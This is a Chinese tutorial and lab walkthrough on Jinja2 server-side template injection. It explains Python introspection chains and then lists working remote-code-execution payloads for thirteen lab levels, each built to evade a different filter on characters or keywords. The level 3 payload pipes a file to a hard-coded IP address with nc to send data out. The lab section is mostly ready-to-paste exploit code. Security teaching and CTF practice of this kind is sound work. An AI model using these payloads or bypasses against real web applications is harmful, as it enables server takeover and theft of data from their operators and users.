基本知识
什么是ssti
SSTI,又称服务端模板注入攻击。jinja2模板中使用{}语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换。但是在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell等问题
__class__
首先看一下__class__用python试一下

输出了
说明”是str类另外还有其他类型

str(字符串)、dict(字典)、tuple(元组)、list(列表),这些类型的基类都是object,也就是说它们都属于object,而object拥有众多的子类。
接下来看这个东西
__bases__
可以用来查看类的基类(父类)

这几个符号的基类都是object
面还可以加个数组,表示使用数组索引来查看特定位置的值

__mro__
除bases外__mro__也是用来查看基类的,不同的是他也可以将类型显示出来

__subclasses__()
查看子类

可以看到有非常多的子类,其中有一个类:
,比如我想用这个类

__init__.__globals__
这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

popen
执行命令

基本payload
payload主要有两种形式:
一种是获取os来执行命令
{
{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}
一种是得到__builtins__利用eval来执行命令
{
{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
#或者是其他可以得到__builtins__的关键字。
{
{ }}和 {% %}
{
{ 变量 }}:变量代码
{% 代码 %}:逻辑代码
{
{ course.courseName }} {% for course_data in course_data_s %}
靶场
level 1(no waf)
no waf
直接用基本的payload,但os._wrap_close类比较难找所以用for循环
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}

level 2(waf {
{ )
waf:bl[‘{
{‘]
可以用{%%}来进行绕过,直接执行命令就好
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}
level 3 (无回显)
waf:没有明显回显
可以直接用nc
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag|nc 192.168.247.1 80').read()%}{%endif%}{%endfor%}

level 4(waf [] )
waf:bl[‘[‘, ‘]’]
构造中一般利用[]从字典中提取key的值,除了[]外还可以采用__getitem__提取
利用getitem绕过[]
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('cat flag').read()%}{%endif%}{%endfor%}
level 5(waf ‘ “)
waf:bl[‘\”, ‘”‘]
利用request绕过,这边使用了cookie进行传参
code={
{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}} Cookie:x1=__builtins__;x2=__import__('os').popen('cat f*').read()
level 6(waf _)
code={
{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()
level 7(waf .)
{
{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__") ("os")|attr("popen")("cat fla*")|attr("read")()}}
level 8(waf class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”)
{%for i in ""["__cla""ss__"]["__mr""o__"][1]["__subcla""sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in""it__"]["__glo""bals__"]["po""pen"]('cat f*')["re""ad"]()%}{%endif%}{%endfor%}level 9(waf 0-9)
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}level 10(waf set config = None)
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}level 11(waf [‘\”, ‘”‘, ‘+’, ‘request’, ‘.’, ‘[‘, ‘]’])
{% set index=dict(index=a)|join%} {% set pop=dict(pop=a)|join%} {% set ls=dict(ls=a)|join%} {% set cat=dict(cat=a)|join%} {% set popen=dict(popen=a)|join%} {% set get=dict(get=a)|join%} {% set chr=dict(chr=a)|join%} {% set n=dict(n=a)|join%} {% set t=dict(t=a)|join%} {% set f=dict(f=a)|join%} {% set os=dict(os=a)|join %} {% set read=dict(read=a)|join%} {% set five=(lipsum|string|list)|attr(index)(t) %} {% set three=(lipsum|string|list)|attr(index)(n) %} {% set one=(lipsum|string|list)|attr(index)(f) %} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %} {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %} {% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %} {% set space=chcr(three*three*five-five-five-three) %} {% set shell=(cat,space,dict(flag=a)|join)|join %} { {(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}level 12(waf ‘_’, ‘.’, ‘0-9’, ‘\’, ‘\”, ‘”‘, ‘[‘, ‘]’)
waf:bl[‘_’, ‘.’, ‘0-9’, ‘\’, ‘\”, ‘”‘, ‘[‘, ‘]’]
比上一关多过滤了数字,可以使用index获取数字,payload基本不变。
level 13(waf ‘_’, ‘.’, ‘\’, ‘\”, ‘”‘, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[‘, ‘]’)
{% set index=dict(index=a)|join%} {% set pop=dict(pop=a)|join%} {% set ls=dict(ls=a)|join%} {% set cat=dict(cat=a)|join%} {% set popen=dict(popen=a)|join%} {% set get=dict(get=a)|join%} {% set chr=dict(chr=a)|join%} {% set n=dict(n=a)|join%} {% set t=dict(t=a)|join%} {% set f=dict(f=a)|join%} {% set os=dict(os=a)|join %} {% set read=dict(read=a)|join%} {% set five=(lipsum|string|list)|attr(index)(t) %} {% set three=(lipsum|string|list)|attr(index)(n) %} {% set one=(lipsum|string|list)|attr(index)(f) %} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %} {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %} {% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %} {% set space=chcr(three*three*five-five-five-three) %} {% set shell=(cat,space,dict(flag=a)|join)|join %} {
{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}
发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/178736.html原文链接:https://javaforall.net
